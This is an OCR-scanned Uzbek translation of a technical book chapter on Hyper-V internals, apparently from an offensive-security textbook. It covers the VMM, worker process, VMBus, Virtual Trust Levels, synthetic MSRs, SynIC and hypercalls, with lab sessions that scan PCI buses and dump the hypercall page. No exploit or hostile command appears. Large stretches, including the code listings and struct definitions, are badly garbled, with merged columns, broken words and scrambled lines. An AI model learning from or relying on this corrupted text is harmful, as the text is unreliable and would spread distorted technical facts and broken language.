¥ 3 v . . " ) o : ) o
Bu kodlarni Xususiv tarmogda ishlavorean nzimda gollash kerak. (shhit

sozlamani interneiga 10°g ridan-1, &ri ulangan tizimg

' ' a qo'llash mumbkin emas.
chunki by _\‘.Ln_-ﬁ;_'

(VTLs)ni taqdim etishi mumkin.
Imtiyozsiz VM-larni ish "lim (root partition) far-
slar ajratadi. Bu jarayon

ma Menejeri) maxsus imtiyozlarni tajab qiladigan gi-

Eel:c.haqiriqlalr (h'yperca]-ls) toePfamini taqdim etadi, py imtiyozlar esa fagat aso;iy

0 ll_r?gzla Ee‘?‘]adl- Asosiy bo’lim yana boshqa giperchagiriglar yordamida “inter-
Sepsiyalar™ (intercepts)ni ro‘yxatdan otkazishi mumkin, by VMM tomonidan far-
odir etilgan Muayyan hodisalar hagi i *limni
e v : : aqida asosiy bo*limni
xabardor qilish lkaI:llnl beradi. Aso0siy bo‘lim ushbu xabarlarn; kamro yimli}’OZ“
komponentlarga uzatishi mumkin, ular esa app 3

. A . i arat qurilmalari act leabi
virtualizatsiya vazifalarin; bajaradi. q arl emulyatsiyasi ka

HYPER-v KOMPONENTLARI

‘ ini ularning murakkabligj
qarab turli komponentlar orasida taqsimlash maqsadgge;

da YMM (Virtua.! Machine Monitor) eng imtiyozlj va
nadi. Shu sababli, VMM tomonidan bajariladigan vay;

vVa xizmat vaqti talablariga
muvofiqdir. Ushbu qatlam-
tezkor komponent hisobla-
falar soddaroq yoki yugqori

Worker Process

- /dalanuvchi rejimi-
Virtual Machine Worker Procesi (\;fn\i\g:;e?s?la)’d?uv ;‘ol}];l;i Ivinualizajtsiya
[ I i *lib. root bo’lim :
da ishlaydigan jarayon bo'lib. roo mida | phaiopsn. g
vazifalarini, iuﬁ]ﬂadan. qurilma emul?fatmyasml b;;?fggacél Smmyamri et
r /0) kirishlarini boshqa L N
(nlel:I()l}’l-)I_nﬂ.P’ljcd I:(:;;TE:IJLS?;"%M uchun alohida foyc:?la;uyckl:lla_]yirtag);ng ;z:i
€ " 1shea tu ac : g - o
lUShiI‘i};dillblj ;ara\'on boshga bo‘limlar )r().ll\'[ng;itbl?)oil at:jlli P
H L] e 5 . ' tsiya ql 1 . d
i atilgan holda izo 2 i foy /dalanuvchi tomonidan
jaizion!zrdz?n a:ilirt;ilkcian muva!Taqi}’a“l fO)-dalansa. u foy
onidagi z

cheklangan muhitda tugaydi.

) al Advanced Programmable hm.‘r-_
Mm-‘_; 'f Jun x86/'x86 64 emulvatorini
¥ !J;fl,iuru_\mnfugfgu uf.sf'mlmn fm'n.f—
;1-: fagatl kichik gismini qo llab-

. 5 ngdek, LAPIC
Estatmal VNI shuningdt shni boshgar

"upt Controller) sahifasiga Krsimt om0,
Oz ichiga oladi. hirog wni amalgd H-\. ;'I:fummh
mal f"fi"f.ff'w vN6 XSO 64 ko ‘rsatmalar 1 f}'”. (opilgan

Juvvarlandi. Qizie'i Jnendaki, wica xatoie ‘ ;
- . sinerso‘rovea (hypercall) ruxsat yo'q
e u Virtualizatsiya infratuzilma dray-
o : im etilgan inter-

dan tagdim etilg

- ar — VID) tomoni g

i (Vi izati 1 ure Driver = diean foydalanuvchi re)
Veri (Virtualization 111lras;FUE:d s, VID bilan gaplasﬁz dT]’da Y il
eys { ishi keraks VIESI= ilingan vid. g .
le? sdan toydalal:n.sln ker: tomonidan import q'l'igiation Dispatcher — VND) orq_all
]\T:[ e IShCl'“'Jam}!?ll; dispetcheri (VID Norttllalri yoki MMIO ga kirish) haqida
adrs)VI[?bl]dms]mOl kirishlchiqans]} po “MM dan keladigan st statiy tu-
Yangi hodisalar (masalan. 1adi, bu m)chsa'lar.larl * lashda (masalan, U porti-
ﬁhichi jarayonini xab_ﬂrdggjslanadi. VM-Ex?d b:] e i lorii tekshisad va

1sh bildirishnomalariga atda

f ida ishchi jarayonni
: e itichi), VMM 10y <, navbatida ishc

5 kirish yoki EP' buzl[}Sh;)t;ardor giladi, bu €sa 0%

ildiz bo*limidagi yadront X

Xabardor giladi.

O-Q‘ridan-w‘g

i aravonda t to’g 1l &
Ishchi jarayond Buning 0°TAig

(fagat ring-0 uchun beriladi)-

ari
rovayderl . : B
ualization Service Providers

(children) bo‘limlariga sinte-
a ishlaydigan yadro dr-a)'zver.
rali, paravirtuallashtirilgan

: rip
yirtualizatsiy? ls?i‘vc Virt
s o derla
Virtualizatsiya xizmat! .plozsy ardor) bc_}l.alaiil
o ot (Vinua]izats\g;ay igan root bolal:f;ma
K qurilmalarni qo-“ab-quv P inetil qurl|ma
a1 sifatida amalga oshiriladl-

(lllrilmalardir‘

ll'f.r'('[i.,\".'.\'"Lﬁ.’: Yillar da-
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Sintetik qurilmadan foydalanishni istagan mehmonlar qurilmaning VfSI?
bilan bog‘lanish uchun o0‘z tomonida Virtualizatsiya xizmati iste’molchisini
(Virtualization Service Consumer — VSC) qollashlari kerak. VSP va VSC o°r-
tasidagi aloga VMBus deb nomlangan bo*limlararo aloga kanali orqali amalga
oshiriladi (bu bobda VMBus haqida keyinroq muhokama qilinadi)..

Integratsiya komponentlari
Guest additions VMBus orqali Integratsiya Komponentlari (ICs) bilan aloga

o‘rnatadi. Bu integratsiya VM-ga qulayliklar va ishlash samaradorligini oshirish
uchun xizmat qiladi.

Eslatma! Har hir 1'MBus qurilmasi (1C"larni ham o'z ichiga oladi) global
tar=da novob identifikator (Gl 1D hilun hcfg.ihmgun. Bolalar partitionlari ular-

ning wlashmogcehi bo lgan qurilmasini aniglash uchun ushby ¢t 1D dan fovdala-
nishlari mumbkin.

Integratsiya komponentlari odatda Hyper-
oladi: yurak urishi Xizmati(the heartbeat Se
almashish (key-value data exchange — KVP),

si. hajmli soya nusxasi (Volume Shadow Copy). va VM nj odatiy tarzda o*chirish.

Ular ishchi jarayonda amalga oshiriladi: shuningdek. Hyper-V soketlari orqali
muloqot giladigan mustaqil integratsiya Xizmatlarini yaratish mumkin.

V VM'da quyidagilarni o'z ichiga
rvice), kalit-qiymat ma’lumotlarini

Maslahat: Ushbu hobddy tagdim etilgan kod mis

ollaridan biri (GHIG ¢h23
labs/time SYRe'py) vagini sinxronlashtirish ¢ hilan

hog lanacdi.

Virtual ishonch darajalari
ari (Virtual Trust Levels — VTL) turli imtiyozlarga
al protsessor kontekst daraja

lariga asoslangan bo*lim
agl : Xanizminj ta’minlaydi. Hozirgi vaqtda Hyper-V ikkita
darajani amalga o.sh|radi: VTLO (eng kam imtiyozli) va VTL | (eng imtiyozli).
- bo'limlar VTLO da ishlaydi, |ekin yugori VTL’larni faollashtirish

amalga oshiriladigan virtual protsessor(lar
konfiguratsiya namunasiga yokj faqat pas
kin. Xuddi shy tarzda, VTL] da ishlaydi
resurslarga kirishi mum

) uchun uni yoqish kerak. VTL o‘zining
t VTL konﬁguratsiyasiga kirishi mum-

: gan dasturiy ta’minot VTLQ ga tegishli
kin, ammo aksincha emas

Eslatma! 1771 i Vo

115h uchun bo lim Acce
talab {ﬂf‘(.’(ﬁ.

sslsm qobilivatiga ega bo lishini
Hdiz(Root) be imi bundery imkonn

aiga ey,
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VTL ning asosiy jihatlaridan biri bu turli xil imtiyoz (Elarajal.arl boi—‘“c:?‘g;gz

maydonlarini ajratish qobiliyatidir. Bu Hypervisor ‘OTU“'dﬁf‘ri‘:}““i‘:;E;ﬁi o

. izlik xususivatlarini amalga oshi :

Integrity (HVCI) kabi xavfsizlik xususty : D8 ———
gitggx'i}ac,()(r] har b)ir VTL uchun turli xil SLAT jadvallarini (Intel asosidagi tizi

v 4 A 4
arda EPT ishlatiladi) saqlaydi va VTLO da imtiyozli dasturly ta mino .bnz gan
5 iy I)l:nain;} hul dudea kirishga urinish EPT buzilishiga olib keladi.
a . 8

o di va keyin uni qanday boshqarishni hal giluvchi VTL1-da
1 J

Gipervizor uni ushlay Yo
iy ta’minotni iladi.
(kesish orqali) dasturiy ta’minotni xabardor g

; Saal yotiraea kirishni ushlab turish va boshqga-
Eslatma: 1'T1L1 tomonidan nafagal : :

ey aisnli inladan ba =i modelea
i/ : P latining har bir muhim gisni, shu ju G oy
risiy yenkin: CPL Rolarding s rore — VISR) himovalangan bo 'lishi kerak.
; ; . J-specific registers — M -
Xos registrlar (model-spect

odisasi kontekst VTLO dan VTL:I ga o‘tishga
hea olib keladigan boshqa hodisalar Enanba—'
s iga ega) va VTL qo‘ng‘iroglari

Ushbu turdagi kirish buzilishi‘tl?
olib keladi. VTLO dan VTLIga o"tishgd i
lari uzilishlar (har bir VTL 0°z uzilish kon

i i -rove'i orqali chiqariladi). . N -
i H"CE‘“VI:JC?EOQIPGLSJ:;;:;I]E al?nashtirish fagat VTL1 da ishlaydigan das
VTLI1 dan V~ ga k

l)l’ da mino ! ! 4 &k =

lishi mumkin. . al =

VTLlar Xavfsiz yadroni (secu;f ligl’;ngandan S
tiladi. Yuklash jarayonida (Hyp-er‘\f’r{l yo&i[ga“ vaSKr
ham vuklanadi (VTLO da). Keymn oan. bu uning bajarili
yadrosidan ajratib olish uchun sozlangan,

saqlaydi.

SK) amalga oshirish uchun ishla-
o‘ng) NT yadrosi ham. SK
SK ni (hozir VTL1 da) NT
shini VTLO darajasida

inalar
al mashinalar . _
u d. “Generation-1" deb nomlanuv

hmon operatsion tizimlarini ishga

1-avlod virt

i mavju

o M avlodlarl i

Hyper-V-da ikkita VM irilmagan me . i “llaniladi)

e ; ‘zgartirtlimasee = - . o chi iarayonida qo

chi eskj uslubdagi V'M]ar ?lmga emul}’ﬂISl)’aSlI-‘ll (lS],{I;lC m;]ilm;arga ega BIOS-ga

tu?hiriSh otk ql]ntsi}’a gilingan '.nl-'lh]t e(S“Sincietik") qurilmalar virtuali-

@’ minlaydi. Ushbu em}{ apara virtuallashtirilgan d: ammo, 1-avlod mehmonlari
asoslangan ar?‘itekmrad;:;ﬂonlar uchun ]1an]1(lm?:;'1::.i ;nU|11kih.

Zatsiyadan xabardor me as

i rdan yu
faqat emulatsiya qilingan qurilmala

L aborﬂf"riy"’ ish
yMda PCI qurilma

5/1abs/pci-py
Framework tarkibiga O o

Bt
: h uchun kodni kiritis
. acini skanerlas . e
Yordamid hmon tizimining PCI ;:1;2?:1 Generatiorl'l VM’da qanday appar:
“damida mehmo dulni 18 :

-ant” qurilmada Python shell
u «client” qurilma
Yarish mumkin. Ushbu nl?]gn Buning uchun ~€
Mavjudligini ko‘rish mumKit

i25.1:
Jarini skanerlash

i kiradi. Ushbu modul
1-avlod moduli ki
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| boriladi):

: I_—(roor = ghh6)-[/labs]
' # python3
Python 3.9.7 (default, Sep 3 2021, 06:18:44)
[GCC 10.3.0] on linux
Type "help”, "copyright
[ === import pei
=== import hyperv_guest
>=> peiSession(hyperv_guest.GuestGenl).run()
...omitted for brevity...
| PRINT: kmain at Ox000000000040135d
' 00:00:00: Host bridge
! ...omitted for brevity...
l 00:07:00: ISA bridge
‘ ...omitted for brevity...
00:07:01: IDE controller
‘ BAR MEM-space : 0x0 size: Ox0)
|
|
|

wor

BAR MEM-space : 0x0 size: ()x()
BAR 10-space : Oxffal) size; 0x10
...omitted for brevity...

00:07:03: Other bridge device
..omitted for brevity...

00:08:00: VGA-compatible controlley
BAR MEM-space : 0xfS8000000 size-
BAR MEM-space : 0x0) size: (x0 S
BAR MEM-space : 0x0 size: (x()
...omitted for breviry...

Stopping VM...

" fE;fatmr:: r’u:nfug Yangi asosjy Stinfini= endi
24-ho i ; , i i
da amaleq oshirgan Fy==¢; Sfini umm) /

i vashiiracli

2-avlod virtual mashinalar

M’lar faqat vi i
_ Yangiik Virtualj
ma’rifatli”) mehmonlarn; ishga tushirigh; m

qurilmalardan tashqari, aksariyati sintetik qu
V_M. .Bus de.:b nomlanuvchi samaralj bo‘limla

kiritish-chiqarish”n; ta’minlaydi -
ga (masalan, SCSI, RNDIS yoki.

2|6}

Sintetik qurilmalar
HID) asoslanadi,

credits" or "license" for more information.

ochiladi (ushbu bobdagi barcha laboratoriya ishlarini “client™ qurilmada bajarib

Sessiva deb nomlanaci va u biz

zatsi?fadan xabardor (“enlightened
9mkm. Bir nechta tagqlid qilingan
rilmalar bilan almashtirildi. Bular
0 aloga mexanizmi orqali “ma’rifiy
odatda mavjud protokollar-
lekin asosiy transport qatlami

silroq gaplashiladi. B . ‘
Ikkinchi avlod VM-lari Birlashgan Kengaytirilgan Mikrodastur interfey-

Zterface — UEFI) arxitekturasiga asoslangan

i ified Extensible Firmware I "
si (Unified Extensi dek. VM’larni paravirtual-

bo*lib. u xavfsiz yuklash kabi funksiyalarni, shurlimg
lashtirilgan qurilmalardan yuklash imkonini beradi.

Laboratoriya ishi 25.2: o
? i ini skanerlas
_avlod VM da PCI qurilmalarini s N |
Endi ikkinchi i\:;d VM'da PCI Bus'ni skanerlashga harakat qilinsa, nima

bo*lishi ko*rib chiqiladi:

(root = ghh6)-{/labs]

# pvthonl
f{r.-rn'::} 3.9.7 (default, Sep 3 2021, 06:18:4)
[GCC 10.3.0] on linux e
Tipe "help”, ”.:'np_l'l‘fgh-'"- Yeredits” 01
=>> import pci
=== import hyperv_guest
== pei.Session(hvperv_gu
Copying namedpipe_proxy.exe e
Copying kernel_bios.iso 10 remote host...
Copying kernel_efi.iso 1o remote host...
Creating V'M...
Starting VM...
Connecting...
PRINT: kmain at 0x0000
Stopping VM...

Wlicense” for more information.

ost. GuestGen2). run()
emote host...

000000401 35d

o )
. . 1 vo'a - nafaqat emulyatsiya qllmg_an quri
g mq Aslida. bir nechta emulyatsiya qilin-
: qda; ularni faqat PCI Bus orqali
hilgan ACPI jadvallari orqali to-

' cl

Bunday holda. hech ganday ¢t di

Malar, balki butun PCI Bus o yo['qlfz:f:'l qolmo

gan qurilmalar (masalan. vld_eO) = lehmonga oc
toppish imkonsiz. Ularni hali ham m

Pish mumkin.

ik interfeysi -
o bo‘limlararo alogani qo‘llab-

interfeysni taqdim etadi.

er—v sint
e readican va
Hyper-v VM samaradorligi™! Oszingitj's[i%'itlarigﬁ : :
Quvvatlaydie al-avirtual s registl‘lal‘ (model-spemﬁc registers
M o sl feysni modelga X rrupt Controller — SynlC) va
M ushbu Slme“k.““er uvi (the Synthetic Interrup o5 i
EMSR) Sintetik uzilish tckshlrul\' it beradi. VMM tomo q
' tmalar

‘ Qi IClar tomonidan
&1perso‘rovlar uchun kengfly erfBYSi ustida, fimi YSP v

Slilgan bolimlararo aloga mt] ga oshiradi.
‘ 217

li ochib
ildiz bo

'shlatiladigan VMBus-ni am?
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el
A

Sintetik modelga xos registrlar (MSR)

Hyper-V. RDMSR/WRMSR ko*rsatmalari orqali kirish mumkin bo‘l:g.an
sintetik MSRlar to*plamini ochib beradi. Ushbu MSR|ar ro‘yxatini Hypervisor
Top-Level Functional Specification (TLFS) da topish mumkin. Ushbu bobda
“giperso‘roviar sahifas;* (“hypercall page™)ni xaritalash uchun ishlatiladigan va
SynICni boshgqarish uchun foydalaniladigan MSRlarga etibor qaratiladi.

mon OT identifikatorini ro*yxatdan o‘tkazish kerak. Bunga HV_X64_MSR_G_Uf
EST_OS ID (0x40000000) registriga yetkazuvc hi va OS versiyasi ma’lumotlari ni
yozish orqali erishiladi. Ushbu bobning kodj bilan ta’minlangan GHHv6/ch25/

labs/hypercall.py modulida ushbu MSRp; Windows 10 mehmonini soxtalashti-
ruvchi identifikatorga o‘rnatildi,

Maslahat: ushhy FegIStrning tarib; lavsifing T1EFSdu topish naumnkin,

Giperso‘rovlar sahifasi moq
X0S registrlar (MSR)

- urli xil Giperso*roy buyruglaridan f‘oyda[anadilaf‘l
Hyper-V hozirgi CPU uchun to*g‘ri buyrugni o*2 ichiga olgan “Giperso*rov sahi-
fasini xaritalash orqali umumiy interfeys taqdim etadi. Mehmon OS Giperso'rov
buyruglarini bilishj shart emas va VMCALL kabj buyruglardan u:a“g‘riclan-tca‘.f_l'l'i

foydaia'nishga urinmasligj kerak. Buning 0°rniga, Giperso‘roviardan Giperso'roVv
sahifasi orqalj foydalanish kerak.

elga
CPU yetkazib beruvchilar t

- ,-'l-!as{m'mf.'l :.J,t}:m' Linuy ning 'Sys( ALL1VDSO sahifalari bilan tanish bo lsd.
giperkall sahifasidy ham xud; shy tishunehe .

qo Hanifad;

it O°rnatilgan bo‘lsa, MSR ¢+

Zgarmas bo‘ladi. Shundan
hga tushmaguncha GPFNnj o

zgartirib bo‘Imaydi.

fasini yoqish/o‘chirigh

' sahifasini o‘rnatish va
iva ishi 25.3: Giperso‘rov sahifasini 0
F ¥ Ve adend s . e
AT uning mazmunini o‘chirish o] i,
’ . m s
A idan-to*e'ri GHHv6/ch25/labs/hy E?;‘Ca;]lop-ihiradi o B
il Seied hifasi tarkibin )
L. = " 4 rsO‘l’OV sani . ] a oshlrlshln] ku-
' -gandan so‘ng gipe s ko‘rsatma amalg
kar“alaShm:?n Serso-rov mexanizmini qaysi ko
protsessor uchun gip

i ? i in:
zatish uchun foydalanish mumki

(roof = g}i'hé)-[- hl‘hS]

# python3 hypercall.py
w.omitted for brevity...
Hypercall page contents:
Ox1011000: vincall®
Ox1011003: rer®
Ox1011004: mov ecx, eax
Ox1011006: mov eax, Ox11®
Ox 1011008 : varcall
Ox101100¢: ret
Ox101100f: mov rax, rex
Ox1011012: mov rex, Ox110
Ox1011019: vmeall
Ox101101¢: ret
Ox101101d: mov ecx, eax
Ox101101f: mov eax, Ox1 20
Ox1011024: vincall
O0x1011027: ret
Ox1011028: mov rax, rex
OxX101102b: mov rex, 0x120
Ox1011032: vmncall
Ox1011035: ret
Ox1011036: nop
Ox1011037: nop

undan keyin RET ® ko‘rsat-

VICALL @ bo'lib: siliga (bu holda, 0x1011000)

i |
v sahifasining ma

‘rsatma V :
Bunday holda, ko'rs Ji berishi mumkin.
051.0‘11

i 2010 . L
Masi keladi. Mehmon gipers® li gipers ishlatiladigan ba’zi k(?d]alm hém
g% . ris]] orqaltl = suich uchlll] 1S L e kOdlga mos ke-
CALL buyrug*ini bajarts alga oshirls [[VtlCall qo'ng‘iroq i
VTL go*ng‘iroglarin! amAx registri chag da bizda xuddi shu chaqi keladci
ko*rishimiz mumkin. © da'E 32 bitli ABI). © i HvCallVtIReturn ga mos
adigan (x1] ga ornatilad! ((Ijju o'ngtiroq 3201
. ud. @dag
4-bitj versiyasi mavjud-

' ismi NOP
‘ 't‘asil‘ll ng C]DI gan qi
vjud. Giperso rov sahi
' ]i versiyama
Va® da bizda 64 bitli vers

Nagsh bilan to*ldirilgan.

<2]U

v e



Gt o SynIC MSR
aI[ashItril:ﬁh: UZ’]_‘]S_h;ekSh'rf-Wl (The Synthetic Interrupt Controller — SynIC) virtu-
faqat uz']:gh!; RS teks_h‘m‘fl (\_/lrtua! LAPIC) uchun kengaytmadir. SynlC na-
.?] hI = &r:u sa.mar-ah yét!(aZ1b berishni ta’minlaydi, balki' bo'limlar;.ro aloga
uchun ham qo‘llaniladi. Bo*limlar bir-bjri bilan ikkita mexanizm orqali bog'la-

nishi mumkin: xabarlar va hodisalar. M i
i . Magsad ‘lim xz i isani
qilganda, u SynIC orqali amalga c;shirilac?isa1 e S

Y virtual protsessor uchun SynIC-ni yoqish uchun
registriga uning *“faollashtirish”
ning tartibi quyidagicha: LNER_SCONTROL segist-
. 63—'1 Bitlar - Zaxiralangan bitlar,
* 0 Bit - joriy virtual .
SINT MSR. SynIC |
larini taqdim etad;: HV Xe64

tomonidan bosthari[adi. SINT registrin; g = P
* 63-19 Bitlar Zaxiralangan
* 18 Bit “Ovoz berish™
5 maydonj i
uzilishlar yaratmasdan ochiladi}., - Agar bu bit Yogilgan bo*lsa, uzilish manbai
* 17 Bit “AutoEQ]>

*15-8 ].3it]ar Zaxiralangan bitlar
* 7-0 Bitlar uzilish vektori, Meh '
vektorga o*rnatishj mumkin "

onbu giymatnj 16
~255 oralig‘idagi istalgan
Xabar yoki hodisan; £ s

an Xabarlar uchun ajratilgan)-
ratsiyasi registrlarining SINTX

maydoni).
~ * HvCallCreatePort
Jo'natuvchi port tyrinj k

&iperso‘rovi of, 18 ik
i} i ; ;
O'rsatishj kerak(:“l Hvijg?ggan Portga tayinlangan. So‘rov

YpeMessage, HyPortTypeEvent

yoki HvPortTypeMonitor. Birinchi ikki tur uchun magsadli SINTx belgilanishi
kerak. o | |
Ushbu giperso*rov VMBus tomonidan ishlatiladigan portlarni yaratish uchun
ildiz(root) bo*limi tomonidan ishlatiladi. P -
SIMP MSR HV X64 MSR_SIMP (0x40000083) registri Sintetik uzilish
xabari sahifasining (STMP _ the Synthetic Interrupt Message Page) asosiy manzi-
lini yoqish va belgilash uchun ishlatiladi. Ushbu sahifa glpem;ordar} }.’Ok] b.oshqa
bo*linmalardan xabarlarni qabul gilish uchun xabar slotlar to*plamini 0°z ichiga
oladi (yuboruvchilar HvCallPostMessage gipersc_r‘mwd:fm Foyd?.lan?d:lar). B
Slotlar HV MESSAGEma’lumot tuzilmasi qatori shaklida joylashnnl:gz_m
bo*lib. har bir SINTx uchun bitta slot mavjud. Yangi' xabar slot,.gzll nusxa ko'c.hml-
gandan so‘ng, gipervizor tecishli SINTx ga edge-triggered uzilishni yetkazishga
b = = vl' . &
harakat giladi (agar so‘rov rejimida bq lmasa_). )
HV MESSAGE tuzilishi quyidagicha aniqlanadi:
“define HV_ MESSA GE_MAX_PA YLOAD_Q} VORD_COUNT 30
typedef struct

1
!

UINTS MessagePending:1:

UINTS Reserved:7;

} HV MESSAGE_FLAGS:

tpedef struct

’f

HV MESSAGE TYPE MessageTipe:©®
UINTS PaviloadSize:

HV MESSAGE FLAGS Messagellags:
ULQT! 6 Reserved:

union

f
!

UINT64 Originationld;

HV_PARTITION_ID Sender;®

HV PORT ID Port; ®

}e

} HV MESSAGE_ HEADER;

typedef struct

I}

} -
cader;

HV MESSAGE_HEADER Heac . o

UINT64 Payload[HV_ MESSAGE_MAX_PA

} HV MESSAGE;

OAD_QW ORD COUNT];

HY vha va i 'y mi 0°Z i higa olgan foydall yuk-
MESSAGE Salla ha

8] oad bora Xaba i itli i i (1 bi]an boshlana—
:la" a 1 a 3VhaSl 32 bltll ldennhkator
L. 1pervisor an n = (I 3 S

biti ‘Isa, bo‘linmalardan keladigan xabarlar
MASK (0x80000000) biti ©

atishi mumkin.
bu bitni o‘rnatmasdan boshq

abarlarda
‘rnatilgan bo’l
a giymatlarni ish!

(]
I~

_




Tx® v, Maqsadli virtyg] protsessor ®
vogea a aso

tori parametrini va belgi raq

HvMessageTypeNone(OxOUOUUO
qabul gilingandan so*ng, mehmon ¢
ga o’zgartirishi va xabar

oxiri (EOM) signalini berishi kerak.
Nihoyat, sarlavhada

xabar HvCalIPostMessage
n, kesishgan xabarlar bolanin

lanish identifikatori bilan bog
HV_X64_MSR_SImMp tuzilishi quyidagicha:

* 63-12 bitlar: SIMP Xaritalangan GPFN.

* 11-1 bitlar: Zaxiralangan,

* 0-bit: SIMPnj yoqish/o*chirish.

EOM MSR SiMmp uyasiga
HvMessageTypeNone £a o'rnatil
navbatdan chiqarishi va yetk
(0x40000084)ga nol yozish mumkin.

SIEFP MSR H V_X64HMSR_SIEFP (0x4000
salari belgilari sahifasining (SIEFp
asosiy manzilini yoqish va belgilash

oladi) yoki port ID @ (u ‘langan) 0z ichiga oladi.

0082) Sintetik uzilish hodi-
~the Synthetic Interrupt Event Flags Page)
uchun ishlatilagi, gy, sahifada HV_SYNIC_

“define HV EVEN T FLA
typedef siruct
/

UINTS F!ags[HV_EII'ENT_FLAGS_B YTE_COUNTY;
!/ HV_SYNIC_EVENT FLAGs:. -

GS B YTE CoOunT 256

HvPortTypeEvent porti HvCallCreatePort orqali ajrati SRR
im etil; atilganda, dagima
motlar taqdim etilishi kerak- qall ajratilganda quyidag

Struct

{
HV_SYNIC SINT INpEy TargeSin-@
HV_VP_INDEX Targetvp:®

UINTI16 BaseF lagNumbe)-@

UINT6 FlagC, ount; ®

UINT32 Reservedz:

} EventPortin 0;

M;‘f:?{:i o i £a qo‘shimcha ravishda,
s

) y belgi ragami @ v, belgilar sonj @ mavjud, Bo‘lim HvCal-
ISignal Event funksiyasidan f‘oyda]anib, VO

amini (b

q€a portiga tegishli ulanish identifika-
Uragam voqea portining FlagCount qiymati-

00) giymati slot bo*shligini bildiradi. Xabar
zim MessageType nj HvMessageTypeNone

orqali yuborilganda bo‘lim
g identifikatorini o*z ichiga

: hatli 2 ir belgini o‘rnatishi

dan kichik bo-lishi kerak) uzatib, magsadli bo‘limda ma lum bir belg

an Kichik '
i ol i dli SINTx
mumkin. . : ioa qo*shiladi va natija maqsa _
i Gy lei ragamiga q A . et bt
Bascpllat!ihlﬂumflzrtr?i[z:];t{fb%:’l\llg_EVENT_FLAGS bitmapidagi mutlaq
ga mos keladigan gnv_

B 3 I . ge-trigger-
PREISIGH pifran be:jilglla;?ila gipervizor mos keladigan S‘I'NLEQSO‘??;ZS@ %10-

Belgini o*rnatgan pataketiailadi (agar so‘rov rejim : Ii)
i uzilishni vetkazib berishga ]1arakatq 1 (ag ceyin EOI (APIC orga i
h* uzmSI}m yelk"iﬁlbvcm mehmon belgilarni tozalash ;a_E;:;tmasidan foydalanishi
dlsala"“‘]qab:‘l qlaltlomik Compare and Swap (CAS) ko
tasdiglash uchun
kerak. ; ilishi quyidagicha:

o tuzilishi q
4_MSR_SIEFP ning tuzl i

HG\{‘_)I(S bitlar SIEFP xaritalanadigan GPFN

e OHoH— .

* 11-1 bitlar Rezerv qllmga!?-_ ;

" 0 btl SIErp ni }JoqiSh;‘fﬂ'ChlnS .

iperso‘roviar - o ”
s iperso‘rov sahifasi mexanizmi orq
gan g1p

s iflan - : /digan mehmon
Giperso‘rovlar yuqorida tavsi da yoki uzoq rejimda) ishlaydigan

; jim
ring-0 da (32 bitli himoyalangan rej
= ‘ age . n-. 1.
kodidan chagirilishi mumkir

i1 i ”.”jl‘.i*h
ol e i Konmvenisi alari (e
fun fifdjt-‘f 64-hitli t-"r"‘“f” Uy
P ted 1
3 i !(_'}U-\;-’ He :
Eslatma! .fr{l i

o i i bu sahifadagi ko'rsatma
e ' S0‘TOV qillngamfia. ’us.h . e bty

ov sahifasi orqali s VMM-dI’liulg; J}?e;]ﬁ:l;l;riia giperSO‘rQVIar
h::l{acl1aqiradi. Ushbu- tarfib qo‘s};Enﬂix::]-i
P giperso‘rov sahifasida ekan igin
i an mehmonning RCX registri-

Giperso'r hadi.
babi kodi VMCALL-ga . 1 <loan tartib
uehlun(ilmumiy kirish nuqlis'lr:(; :tgﬂaasalan.
ha tekshiruvlarni amalga_gas‘s;il ma’lumotlar kodlang

; i :
tekshiradi) va keyin quy! ettiradi:
ning mazmunini o*qishni dav.o(n; ol).

* 63-60 bitlar. Zaxiradagl i

5 i e g

» 4744 billlar..ﬁ:\p‘f_ag S o*rovlari uchunum .

*43-32 bitlar. . : 3 _ cis Verngeti B

4;3; :;? bitlar. Zaxiradag! (Ellc?ll),l gipervizor tomonidan ko‘p bosq
sl ; ‘rov LO yo

* 26 bit. Giperso'roV

gini bildiredi ‘Ichami.
+lishi kerakligim! casiavha o'l | o
lizatsiyada ishlov berilishi K klarda ozgaruvchan s h qoidasi qo‘llanilganligini
25-17 bitlar. 8 baytli blo kor” so‘rov yuborish q
' a . ot hun “tez
* 16 bit. Kirish uc

ko‘rsatadi.

‘ich takrorlanish.
. boshlang‘ich
vlari uchun

umiy takrorlanish soni maydoni.

[~
I
'

e T N SRS



* 15-0 bitlar. Muayyan gi

, - Vitayyan giperso‘rovni aniglavdiean «

har bir yozuv quyidagi ma’lumotlarni O‘Zii}?;zlaa}d’gan qo*ng‘iroq kodi*. VMM
0

ichiea oladi- ao¢ne*; - | : e i e
ga oladi: qo*ng‘iroq kodi, ushby maxsus gipe gan giperso‘rovlar jadvalini 0z

larini
St qayta ishlash usuli ushbu
lar jadvali . : = g I]q va o " : 1 Us
J I yozuvidagi ma’lumotlar bilan Ch(:klsaha cgl;'lperso rov uchun giperso‘rov-
-Klanadi,

Giperso*

Gi ¢ ) Perso‘rovlar: Seki

Ipersorovga kirish va chigish argume ?ekm kg
ntiar

Xotirada, umumi i
_ Y magqsadli regist
gan yondashuvdan foydalanac?ilsarl
gistrga asoslangan yondashuvdai fl‘-l
- 3 . 0
TE:‘Z giperso‘rovni ish[atmoqchi

iu —— :
arda va XMM cht_a usulda uzatilishi mumkin:
registrlarida. Xotiraga asoslan-

giperso‘roy
qlar “sekin™ d :

eb n 1. re-
ydalangan]gy esa “tes" omlanad

est Physical Address) p; arni uzatayotgy :
- .y ' nd - .
zil ham hagigiy me}ir:](;nRi e:a Ch‘qlshning pri’ni gif].D? kirishning GPA (Gu-
Otirasiga y ~1Chiga oladi. Ikkala man-

nishi mumkin: by ismi
3 o] . qismi re
chamdagi cheklov]ar bi!af 15;1' a:- gumentlaridan foydala-
0g°lig. Umumiy magqsadli

registrlardan fo
ydalangan ho
un argument hajmi

64 bitli registr
, ga m ishi
ishlatiladi 0s kelishj kerak: Kiritish uch
un RDX, chiqi RS
) qish uchun

o‘lchamlar uchyp ; : li
ishlatilishj - 8Iperso‘royiar
to*pl oralig‘id XM. Bunda_‘/ holdr; ]n:z‘lbaytgacha bo'lg;;
0'plamida saqlanadj 4 AMM regj o 44 malumotlar RDX.
i AT . Xuddi . Cgistrlar .
simlanishi mumkin; ikkil:iiii f]h" registrlar to‘p!al'nli“f:;n— tashkil topgan registrlar
1Shla;]lfmagan registrlar C[o‘llanj(l)k:[?’ hiqishni saqlash :(:S:uvafcmqiSh e}
thoyat, sekin v adi. n faqat kiritish uchun
. i ’ a tez gi e ¢
dtymatini saglash uchyp ishlgti;iZirowarda RAX registri giperso‘royn; tist
: rovning qaytish

L

Giperso‘rovlar: oddiy va takror (Simple and Rep)
Giperso“rovlar ikki turdan biri sifatida tasniflanishi mumkin: oddiy yoki
